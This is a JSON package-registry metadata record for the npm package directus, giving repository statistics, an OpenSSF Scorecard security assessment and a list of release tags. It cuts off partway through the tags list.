{"id":1616690,"name":"directus","ecosystem":"npm","description":"Directus is a real-time API and App dashboard for managing SQL database content","homepage":"https://directus.com","licenses":"SEE LICENSE IN license","normalized_licenses":["ICU"],"repository_url":"https://github.com/directus/directus","keywords_array":["directus","realtime","database","content","api","rest","graphql","app","dashboard","headless","cms","mysql","postgresql","cockroachdb","sqlite","framework","vue"],"namespace":null,"versions_count":347,"first_release_published_at":"2020-07-24T21:15:02.438Z","latest_release_published_at":"2026-11-04T20:18:35.609Z","latest_release_number":"12.6.1","latest_published_release_number":"12.6.1","last_synced_at":"2026-11-06T09:29:41.533Z","created_at":"2022-04-09T11:59:01.417Z","updated_at":"2026-11-06T15:19:54.712Z","registry_url":"https://www.npmjs.com/package/directus","install_command":"npm install directus","documentation_url":null,"metadata":{"funding":"https://github.com/directus/directus?sponsor=1","dist-tags":{"preview":"0.1.0-preview.8","beta":"10.7.0-beta.0","esu":"10.13.4","canary":"12.0.0-rc.2","latest":"12.6.1"},"contentPolicy":null,"repository":{"url":"https://github.com/directus/directus.git","type":"git"}},"repo_metadata":{"id":5903792,"uuid":"7122594","full_name":"directus/directus","owner":"directus","description":"The flexible backend for all your projects 🐰 Turn your DB into a headless CMS, admin panels, or apps with a custom UI, instant APIs, auth \u0026 more.","archived":false,"fork":false,"pushed_at":"2026-11-03T12:12:14.000Z","size":454519,"stargazers_count":38807,"open_issues_count":359,"forks_count":4991,"subscribers_count":339,"default_branch":"main","last_synced_at":"2026-11-03T12:23:49.270Z","etag":null,"topics":["api","app","cms","composable","data-visualization","database","directus","graphql","headless-cms","javascript","mariadb","mssql","mysql","no-code","node","postgresql","sql","sqlite","typescript","vue"],"latest_commit_sha":null,"homepage":"https://directus.com","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/directus.png","metadata":{"files":{"readme":"readme.md","changelog":null,"contributing":"contributing.md","funding":".github/FUNDING.yml","license":"license","code_of_conduct":"code_of_conduct.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"security.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":".github/copilot-instructions.md","dco":null,"cla":"cla.md","disclosure":null},"funding":{"github":["directus"],"patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"custom":null}},"created_at":"2012-12-12T01:35:36.000Z","updated_at":"2026-11-03T11:01:53.000Z","dependencies_parsed_at":"2026-08-14T17:27:09.305Z","dependency_job_id":null,"html_url":"https://github.com/directus/directus","commit_stats":{"total_commits":11744,"total_committers":471,"mean_commits":"24.934182590233547","dds":0.5301430517711172,"last_synced_commit":"e9c1cbd3353375a26586a168075cb679443da1b1"},"previous_names":["rngr/directus6","rngr/directus"],"tags_count":452,"template":false,"template_full_name":null,"purl":"pkg:github/directus/directus","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/directus","download_url":"https://codeload.github.com/directus/directus/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/sbom","scorecard":{"id":344238,"data":{"date":"2025-08-11","repo":{"name":"github.com/directus/directus","commit":"9a669b07eb63f1977adb165f1259a69a3750b4e9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.8,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 14 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":10,"reason":"all changesets reviewed","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: security.md:1","Info: Found linked content: security.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: security.md:1","Info: Found text in security policy: security.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:21","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:22","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release.yml:58","Info: jobLevel 'models' permission set to 'read': .github/workflows/release.yml:63","Warn: jobLevel 'security-events' permission set to 'write': .github/workflows/release.yml:67","Warn: jobLevel 'statuses' permission set to 'write': .github/workflows/release.yml:68","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/release.yml:55","Warn: jobLevel 'checks' permission set to 'write': .github/workflows/release.yml:57","Warn: jobLevel 'deployments' permission set to 'write': .github/workflows/release.yml:59","Warn: jobLevel 'checks' permission set to 'write': .github/workflows/release.yml:95","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/release.yml:96","Warn: jobLevel 'deployments' permission set to 'write': .github/workflows/release.yml:97","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/release.yml:93","Info: jobLevel 'models' permission set to 'read': .github/workflows/release.yml:101","Warn: jobLevel 'security-events' permission set to 'write': .github/workflows/release.yml:105","Warn: jobLevel 'statuses' permission set to 'write': .github/workflows/release.yml:106","Info: topLevel 'contents' permission set to 'read': .github/workflows/blackbox-pr.yml:10","Info: topLevel 'contents' permission set to 'read': .github/workflows/blackbox.yml:17","Info: topLevel 'contents' permission set to 'read': .github/workflows/check.yml:13","Info: topLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:9","Info: topLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:10","Warn: topLevel 'security-events' permission set to 'write': .github/workflows/codeql-analysis.yml:11","Warn: topLevel 'contents' permission set to 'write': .github/workflows/release.yml:9","Warn: topLevel 'packages' permission set to 'write': .github/workflows/release.yml:10","Info: topLevel 'contents' permission set to 'read': .github/workflows/sync-dockerhub-readme.yml:12"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: license:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/blackbox.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/blackbox.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/blackbox.yml:62: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/blackbox.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/check.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/check.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/check.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/check.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/check.yml:85: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/check.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/check.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/check.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/check.yml:32: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/check.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/check.yml:47: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/check.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/check.yml:51: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/check.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cla.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/cla.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cla.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/cla.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cla.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/cla.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/codeql-analysis.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/lock-threads.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/lock-threads.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:112: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:119: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:122: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:131: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:143: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:151: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:159: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/stale-issues.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/stale-issues.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/sync-dockerhub-readme.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/sync-dockerhub-readme.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/sync-dockerhub-readme.yml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/directus/directus/sync-dockerhub-readme.yml/main?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:8","Warn: containerImage not pinned by hash: Dockerfile:50","Warn: npmCommand not pinned by hash: Dockerfile:12","Warn: npmCommand not pinned by hash: Dockerfile:52-54","Info:   0 out of  16 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  17 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned","Info:   0 out of   2 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/release.yml:88"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"SAST","score":9,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-67mh-4wv8-2f99","Warn: Project is vulnerable to: GHSA-x5gf-qvw8-r2rm","Warn: Project is vulnerable to: GHSA-5359-pvf2-pw78","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-18T06:41:23.568Z","repository_id":5903792,"created_at":"2025-08-18T06:41:23.568Z","updated_at":"2025-08-18T06:41:23.568Z"},"funding_links":["https://github.com/sponsors/directus"],"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":349647599,"owners_count":38568885,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-11-03T11:36:44.738Z","status":"ssl_error","status_checked_at":"2026-11-03T11:36:44.278Z","response_time":53,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"directus","name":"Directus","uuid":"15967950","kind":"organization","description":"An instant no-code App and dynamic API for any SQL database.","email":"info@directus.com","website":"https://directus.com","location":"Brooklyn, NY","twitter":"directus","company":null,"icon_url":"https://avatars.githubusercontent.com/u/15967950?v=4","repositories_count":26,"last_synced_at":"2026-11-01T17:15:01.970Z","metadata":{"has_sponsors_listing":true,"funding":null},"html_url":"https://github.com/directus","funding_links":["https://github.com/sponsors/directus"],"total_stars":39943,"followers":1065,"following":0,"created_at":"2022-11-03T15:27:03.825Z","updated_at":"2026-11-01T17:15:01.988Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/directus","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/directus/repositories"},"tags":[{"name":"v12.2.0","sha":"51c31f4d91dc5432fa1034088e72f147028b4b64","kind":"commit","published_at":"2026-07-29T18:21:06.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v12.2.0","html_url":"https://github.com/directus/directus/releases/tag/v12.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v12.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.2.0/manifests"},{"name":"v12.1.1","sha":"083bf1e1a56cf775eb726a6ebd1764cf9d919115","kind":"commit","published_at":"2026-07-01T21:01:46.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v12.1.1","html_url":"https://github.com/directus/directus/releases/tag/v12.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v12.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.1.1/manifests"},{"name":"v12.1.0","sha":"c65322a42d17353718c6e32a7741e593d4738fb7","kind":"commit","published_at":"2026-07-01T19:50:33.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v12.1.0","html_url":"https://github.com/directus/directus/releases/tag/v12.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v12.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.1.0/manifests"},{"name":"v12.0.2","sha":"e0444f46909d530c4af243313a5320571992a30c","kind":"commit","published_at":"2026-06-12T19:20:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v12.0.2","html_url":"https://github.com/directus/directus/releases/tag/v12.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v12.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.0.2/manifests"},{"name":"v12.0.1","sha":"f3951e6619b588f0880b2c139c08946697031c6d","kind":"commit","published_at":"2026-06-11T21:42:58.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v12.0.1","html_url":"https://github.com/directus/directus/releases/tag/v12.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v12.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.0.1/manifests"},{"name":"v12.0.0","sha":"33ec9381437e768aad2dfe5cdae8c3c1fc85e2ae","kind":"commit","published_at":"2026-06-10T17:04:10.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v12.0.0","html_url":"https://github.com/directus/directus/releases/tag/v12.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v12.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.0.0/manifests"},{"name":"v12.0.0-rc.2","sha":"2f4e667c81119c565d6ac1529510560835f59908","kind":"commit","published_at":"2026-06-05T21:52:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v12.0.0-rc.2","html_url":"https://github.com/directus/directus/releases/tag/v12.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v12.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.0.0-rc.2/manifests"},{"name":"v12.0.0-rc.1","sha":"4290f6e1f544382ab594cdafa0893b428083a2fc","kind":"commit","published_at":"2026-05-29T12:46:01.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v12.0.0-rc.1","html_url":"https://github.com/directus/directus/releases/tag/v12.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v12.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v12.0.0-rc.1/manifests"},{"name":"v11.17.4","sha":"1f9a051041029e59b17a1a36249f232e59e60e9b","kind":"commit","published_at":"2026-04-30T17:04:01.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.17.4","html_url":"https://github.com/directus/directus/releases/tag/v11.17.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.17.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.17.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.17.4/manifests"},{"name":"v11.17.3","sha":"ab1f135e087487a8d5f56e83a502c2239c81d733","kind":"commit","published_at":"2026-04-15T18:26:23.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.17.3","html_url":"https://github.com/directus/directus/releases/tag/v11.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.17.3/manifests"},{"name":"v11.17.2","sha":"2218212e43ed49f0c737deee0dad7ba0d8c4f064","kind":"commit","published_at":"2026-04-06T17:27:57.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.17.2","html_url":"https://github.com/directus/directus/releases/tag/v11.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.17.2/manifests"},{"name":"v11.17.1","sha":"32d5650f4f4e2c4ac193e893367d6ea7569c5265","kind":"commit","published_at":"2026-03-30T16:29:03.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.17.1","html_url":"https://github.com/directus/directus/releases/tag/v11.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.17.1/manifests"},{"name":"v11.17.0","sha":"dfb2db349f84b67a85565cbc009b8c658f130ce9","kind":"commit","published_at":"2026-03-24T22:15:34.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.17.0","html_url":"https://github.com/directus/directus/releases/tag/v11.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.17.0/manifests"},{"name":"v11.16.1","sha":"40ec421fdf7a19f4ebd5dec44b5c1f7d5856304d","kind":"commit","published_at":"2026-03-10T22:11:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.16.1","html_url":"https://github.com/directus/directus/releases/tag/v11.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.16.1/manifests"},{"name":"v11.16.0","sha":"d273af9e3c5a7bbe1c7a4b0dcb334b8863a48acb","kind":"commit","published_at":"2026-03-04T20:48:22.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.16.0","html_url":"https://github.com/directus/directus/releases/tag/v11.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.16.0/manifests"},{"name":"v11.15.4","sha":"282a6de31f5d3ea5f20fe2519ee747d21e05dfb5","kind":"commit","published_at":"2026-02-17T14:43:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.15.4","html_url":"https://github.com/directus/directus/releases/tag/v11.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.15.4/manifests"},{"name":"v11.15.3","sha":"f0f0c605e3b23cca9cb3f3dfd80f30b34523ab80","kind":"commit","published_at":"2026-02-16T14:52:22.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.15.3","html_url":"https://github.com/directus/directus/releases/tag/v11.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.15.3/manifests"},{"name":"v11.15.2","sha":"7f6f6728d767aa2575efb1eb1f4051c44422ce7d","kind":"commit","published_at":"2026-02-12T19:02:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v11.15.2","html_url":"https://github.com/directus/directus/releases/tag/v11.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v11.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v11.15.2/manifests"},{"name":"v11.15.